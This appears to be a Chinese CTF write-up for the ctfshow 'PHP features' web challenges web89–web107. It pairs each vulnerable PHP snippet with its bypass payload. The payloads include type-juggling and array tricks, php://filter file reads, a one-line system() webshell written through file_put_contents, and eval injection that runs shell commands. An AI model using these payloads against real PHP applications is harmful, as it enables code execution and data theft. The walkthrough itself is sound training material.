ctfshow-web入门-php特性

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


题目


一、web89

源代码:

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

?num[]

二、web90

源代码:

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

十进制表示:在数字后面加任意字母

?num=4476a

十六进制表示:在数字前加0x

?num=0x117c

八进制表示:在数字前加0

?num=010574

用计算器中的程序员模式,查看十六进制、十进制、八进制、二进制

三、web91

源代码:

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono

/^php$/im
^ 表示的是开头
$ 表示的是结尾
i 表示的是忽略大小写
m表示的是多行匹配

?cmd=%0aphp
%0a 表示换行

四、web92

源代码:

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

?num=4476e1
只能在后面加e,然后随便增加数字,科学计数法

?num=0x117c

?num=010574

五、web93

源代码:

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

?num=010574

六、web94

源代码:

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){  //绕过这个if,使得if为0,则strpos函数为1,则数字中需要有0
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

?num=4476.0

七、web95

源代码:

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

?num=+010574 (空格代替+,也可以)
?num=%2b010574

八、web96

源代码:

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
} 

?u=./flag.php

?u=php://filter/convert.base64-encode/resource=flag.php

?u=/var/www/html/flag.php

九、web97

源代码:

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?> 

POST:

a[]=1&b[]=2

十、web98

源代码:

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?> 

以POST、GET方式都输入:

HTTP_FLAG=flag

在这里插入图片描述

十一、web99

源代码:

<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} 
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
} ?
>

1.编写1.php,一句话木马
在这里插入图片描述

2.打开1.php
成功写入
在这里插入图片描述

3.传参
查看
在这里插入图片描述

打开flag36d.php,获取flag
在这里插入图片描述

十二、web100

源代码:

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

赋值优先于and
因此$v0只等于$v1
因此,可以在v2/v3中进行构造命令

v2中不能包含;
v3中要有;

?v1=1&v2=eval($_POST[1])?>%23&v3=;

POST:
1=system(‘ls’);
1=system(‘tac ctfshow.php’);

得到
flag_is_fe4070cd0x2d88540x2d42d60x2d848d0x2da2c873cb0515

0x2d代表的是:-

因此最终的flag:
ctfshow{fe4070cd-8854-42d6-848d-a2c873cb0515}

十三、web101

源代码:

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
} 

payload:

?v1=1&v2=echo new Reflectionclass&v3=;

反射:new Reflectionclass

看位数,最后少了一位
ctfshow{e9b0b6aa-80d7-4871-a0b5-8f3d3f6196e?}

用爆破/人工,测试?处的是什么(1-9,a-f)

最后测试是
ctfshow{e9b0b6aa-80d7-4871-a0b5-8f3d3f6196e3}

十四、web102

源代码:

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);  //取v2中从第3个数字开始的后面的数字
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str); //用php伪协议绕过
}
else{
    die('hacker');
} 

1.构造v2

v2=115044383959474e6864434171594473

11代表的是0x
v2这串数字是下面这个命令用base64加密后,再用十六进制加密后得到的

<?=`cat *`;

2.构造v3

v3=php://filter/write=convert.base64-decode/resource=1.php

将命令写入1.php中

3.构造v1

v1=hex2bin

这个函数是十六进制转二进制

在这里插入图片描述

4.访问1.php,查看源代码,得到flag

十五、web103

源代码:

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}
?> 

做法同web102一致

十六、web104

源代码:

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?> 

使用数组来解决
在这里插入图片描述

十七、web105

源代码:

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?> 

在这里插入图片描述

十八、web106

源代码:

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

在这里插入图片描述

十九、web107

源代码:

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值